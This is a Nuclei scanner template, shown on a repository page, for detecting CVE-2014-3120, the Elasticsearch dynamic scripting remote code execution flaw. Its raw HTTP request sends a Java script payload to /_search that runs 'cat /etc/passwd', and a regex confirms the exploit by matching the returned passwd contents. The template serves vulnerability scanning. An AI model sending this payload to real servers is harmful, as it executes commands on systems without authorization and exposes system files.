-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2014-3120.yaml
54 lines (48 loc) · 1.56 KB
/
CVE-2014-3120.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
id: CVE-2014-3120
info:
name: ElasticSearch v1.1.1/1.2 RCE
author: pikpikcu
severity: critical
description: |
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
reference:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
- https://www.elastic.co/blog/logstash-1-4-3-released
tags: cve,cve2014,elastic,rce
requests:
- raw:
- |
POST /_search?pretty HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
matchers-condition: and
matchers:
- type: word
words:
- "application/json"
part: header
- type: regex
regex:
- "root:.*:0:0"
part: body
- type: status
status:
- 200